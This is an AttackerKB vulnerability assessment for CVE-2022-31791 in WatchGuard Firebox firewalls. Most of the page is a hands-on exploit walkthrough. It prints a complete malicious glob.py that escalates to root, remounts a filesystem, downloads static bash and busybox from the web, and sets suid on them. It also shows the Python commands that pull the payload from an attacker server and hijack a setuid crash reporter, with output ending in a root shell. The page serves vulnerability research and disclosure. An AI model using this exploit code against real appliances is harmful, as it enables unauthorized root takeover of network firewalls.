Very High
CVE-2022-31791
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below:
Add References:
CVE-2022-31791
MITRE ATT&CK
Collection
Command and Control
Credential Access
Defense Evasion
Discovery
Execution
Exfiltration
Impact
Initial Access
Lateral Movement
Persistence
Privilege Escalation
Topic Tags
Description
WatchGuard Firebox and XTM appliances allow a local attacker (that has already obtained shell access) to elevate their privileges and execute code with root permissions. This is fixed in Fireware OS 12.8.1, 12.5.10, and 12.1.4.
Add Assessment
Ratings
-
Attacker ValueVery High
-
ExploitabilityHigh
Technical Analysis
This journey starts when you have gained initial access to the WatchGuard FireBox firewall instance as described in this attackerkb article.
The initial access is non privileged as user nobody
and /etc/fstab
shows that all filesystems are either protected with read-only
, no-suid
or no-exec
. Another interesting aspect is that there is no shell installed at all and the available unix binaries are very limited as well as busybox
which only provides a very limited command set. This makes living off the land
pretty useless except for the nmap
binary which is installed by default.
Shell Banner: Python 2.7.14 (default, Oct 16 2019, 15:38:29) [GCC 6.5.0] on linux2 ----- >>> import os >>> os.getuid() 99 >>> os.getgid() 96 >>> import subprocess >>> print(open("/etc/fstab").read()) /dev/wgrd.sysa_code / ext2 ro,noatime 1 1 /dev/wgrd.sysa_data /etc/wg ext3 rw,noexec,noatime 0 0 none /proc proc defaults 0 0 none /sys sysfs defaults 0 0 /dev/wgrd.boot /boot ext2 ro,noexec,noatime 0 0 /dev/wgrd.pending /pending ext2 rw,noexec,noatime 0 0 /dev/wgrd.var /var ext2 rw,noexec,noatime 0 0 # wg_linux platform.pkgspec >>> subprocess.call(["nmap", "127.0.0.1"]) Starting Nmap 7.70 ( https://nmap.org ) at 2024-03-08 19:55 CET Nmap scan report for localhost.localdomain (127.0.0.1) Host is up (0.0014s latency). Not shown: 990 closed ports PORT STATE SERVICE 80/tcp open http 4125/tcp open rww 4126/tcp open ddrepl 5000/tcp open upnp 5001/tcp open commplex-link 5002/tcp open rfe 5003/tcp open filemaker 5004/tcp open avt-profile-1 6001/tcp open X11:1 8080/tcp open http-proxy Nmap done: 1 IP address (1 host up) scanned in 0.24 seconds 0 >>>
So the big question, how do we get privileged access?
Luckily, the appliance has python
installed and this heavily used by a lot of specific binaries for WatchGuard. One of those binaries is the /usr/bin/fault_rep
program, that generates a crash report whenever a program crashes. And it has the setuid
bit set on user root.
>>> subprocess.call(["ls", "-l", "/usr/bin/fault_rep"]) -rwsr-xr-x 1 root admin 31424 Sep 28 2021 /usr/bin/fault_rep 0 >>>
Having a closer look at the binary, it internally calls /usr/bin/diag_snapgen
, a python program. Here are lines of the program:
>>> print(open("/usr/bin/diag_snapgen").read()) #!/usr/bin/python # # Diagnostic Snapshot Generator # # This script runs when a fault triggers through the Fault Reporting System. # import subprocess import glob # # These files will have their contents copied into the diagnostic snapshot # file. Add (or subtract!) from this list at will. # FILES = [ '/etc/wg/bootlog', '/var/log/*.log', '/var/log/trace/*.log', '/proc/interrupts', '/proc/meminfo' ] # # These programs will have their output copied into the diagnostic snapshot # file. Add (or subtract!) from this list at will. # PROGRAMS = [ '/bin/ps', '/bin/ls -l /tmp', '/bin/df', '/bin/dmesg' ] # # Diagnostic Snapshot Generation # for i, path in enumerate(FILES): for j, name in enumerate(glob.glob(path)): print "=== %s ===" % (name) try: f = open(name) for line in f: print line, f.close() except: print "(Unable to open file!)" print for i, name in enumerate(PROGRAMS): print "=== %s ===" % (name) try: name = name.split() p = subprocess.Popen(name, stdout=subprocess.PIPE, stderr=subprocess.PIPE) out, err = p.communicate() if p.returncode: raise(Exception(err)) print out except: print "(Unable to run command!)" print >>>
This is pretty promising because glob.py
, which is imported, can be easily exchanged by a malicious program with the same name. This will run under root context.
So let’s think this thru…
- We create a malicious
glob.py
where we can run python code under the context of root.
- This python code should remount a filesystem with
exec
andread-write
rights.
- A good candidate is the
/dev/wgrd.pending
filesystem.
- We can download a static linked
bash
andbusybox
x86-64 binary from the web.
- Change the ownership to
root.admin
and set thesuid
andsgid
bit on both binaries.
- We should now be able to spin off a root shell that gives us full control on the appliance.
This sounds like a plan…
Here is malicious glob.py
code.
import subprocess, os, requests, ctypes # set root os.setuid(0) os.setgid(0) # remount /pending directory to enable suid and execution def mount(source, target, fs, options='', flags=0): ret = ctypes.CDLL('libc.so.6', use_errno=True).mount(source, target, fs, flags, options) if ret < 0: errno = ctypes.get_errno() raise RuntimeError("Error mounting {} ({}) on {} with options '{}': {}".format(source, fs, target, options, os.strerror(errno))) # 32 -- MS_REMOUNT flag mount('/dev/wgrd.pending', '/pending', 'ext2', 0, 32) # get the bash static x86_64 binary response = requests.get("https://github.com/ryanwoodsmall/static-binaries/raw/master/x86_64/bash", verify=False) with open("/pending/tmp/bash", mode="wb") as file: file.write(response.content) # get busybox static x86_64 binary response = requests.get("https://github.com/ryanwoodsmall/static-binaries/raw/master/x86_64/busybox", verify=False) with open("/pending/tmp/busybox", mode="wb") as file: file.write(response.content) # setuid and sgid bit and make world executable. Bingo, you are root now! os.chown("/pending/tmp/bash", 0, 0) os.chmod("/pending/tmp/bash", 0o6755) os.chown("/pending/tmp/busybox", 0, 0) os.chmod("/pending/tmp/busybox", 0o6755) exit()
Ok, let’s test this…
We will first upload our malicious glob.py
to /tmp
which is by default read-write, however we can not run any binaries in /tmp
except for python scripts. But that is anyhow all we need…
To ensure that our malicious glob.py
gets imported, we need to change the PYTHONPATH
to /tmp
or .
.
We than call our root suid
program /usr/bin/fault_rep
and our malicious glob.py
should do the magic.
>>> import requests >>> response = requests.get("http://192.168.201.8:1980/glob.py") >>> with open("/tmp/glob.py", mode="w") as file: ... file.write(response.content) ... >>> subprocess.call(["ls", "-l", "/tmp/glob.py"]) -rw-r--r-- 1 nobody wg 1364 Mar 8 17:03 /tmp/glob.py 0 >>>
Ok, we have successfully downloaded glob.py
. Please ensure that you have a http
server running on your attacker machine.
Next step is to set the PYTHONPATH
and run /usr/bin/fault_rep
.
>>> myenv = os.environ.copy() >>> myenv['PYTHONPATH'] = '.' >>> print(myenv) {'PYTHONPATH': '.'} >>> subprocess.check_call(["/usr/bin/fault_rep", "-r", "'a'", "-c1", "-v"], env=myenv) generating fault [01/unspecified] (Failed Assertion)... 0 >>>
Let’s check if the binaries are downloaded in /pending/tmp
directory and owned by root.admin
with suid
and sgid
bit set.
>>> subprocess.call(["ls", "-l", "/pending/tmp"]) -rwsr-sr-x 1 root admin 2772944 Mar 8 17:14 bash -rwsr-sr-x 1 root admin 1894248 Mar 8 17:14 busybox srw-r----- 1 nobody nobody 0 Mar 7 22:38 cgi -rw-r--r-- 1 root admin 0 Mar 8 16:37 configd.log srw-rw-rw- 1 nobody wg 0 Mar 7 22:38 epm srw-rw-rw- 1 root admin 0 Mar 7 22:38 geolocation -rw-r--r-- 1 nobody wg 1364 Mar 8 17:00 glob.py prw------- 1 nobody wg 0 Mar 7 22:38 radiusd prw------- 1 nobody wg 0 Mar 7 22:38 rsso-auth srwxr-xr-x 1 nobody admin 0 Mar 7 22:38 webui srw-rw-rw- 1 nobody wg 0 Mar 8 16:00 wgagent 0 >>>
Cool, the trick worked!
Let’s get our bash
root shell…
>>> subprocess.call(["/pending/tmp/bash", "-i"]) bash: cannot set terminal process group (11397): Not a tty bash: no job control in this shell bash-5.2$ /pending/tmp/busybox id /pending/tmp/busybox id uid=99(nobody) gid=96(wg) bash-5.2$
Mmm, that’s strange. Looks that suid
is not working.
Ahh, this rings a bell. Set suid
bit on a bash
shell does not work out of the box. There is -p
option that overrides this behavior.
bash-5.2# >>> subprocess.call(["/pending/tmp/bash", "-i", "-p"]) bash: cannot set terminal process group (11397): Not a tty bash: no job control in this shell bash-5.2# /pending/tmp/busybox id /pending/tmp/busybox id uid=99(nobody) gid=96(wg)
We got a root prompt, but we are still not there with full root access.
Let’s start a python session in this shell and set the suid
and sgid
once more and launch the bash
shell again.
bash-5.2# python -i python -i Python 2.7.14 (default, Oct 16 2019, 15:38:29) [GCC 6.5.0] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> import os >>> os.setuid(0) >>> os.setgid(0) >>> import subprocess >>> subprocess.call(["/pending/tmp/bash", "-i"]) bash: cannot set terminal process group (12299): Not a tty bash: no job control in this shell bash-5.2# /pending/tmp/busybox id /pending/tmp/busybox id uid=0(root) gid=0(admin) bash-5.2#
Here we go!
We have full root access now.
References
CVE-2022-31791
Blind exploits to rule WatchGuard firewalls by Charles Fol
Metasploit module PR 18915
WatchGuard XTM Firebox v12.7.2 download
Credits
Credits goes to Charles Fol
of Ambionics Security who discovered this vulnerability.
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportCVSS V3 Severity and Metrics
General Information
Vendors
- watchguard
Products
- fireware,
- fireware 12.6.1,
- fireware 12.6.3,
- fireware 12.6.4,
- fireware 12.7.0,
- fireware 12.7.1,
- fireware 12.7.2,
- fireware 12.8.0
References
Additional Info
Technical Analysis
Report as Emergent Threat Response
Report as Exploited in the Wild
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below: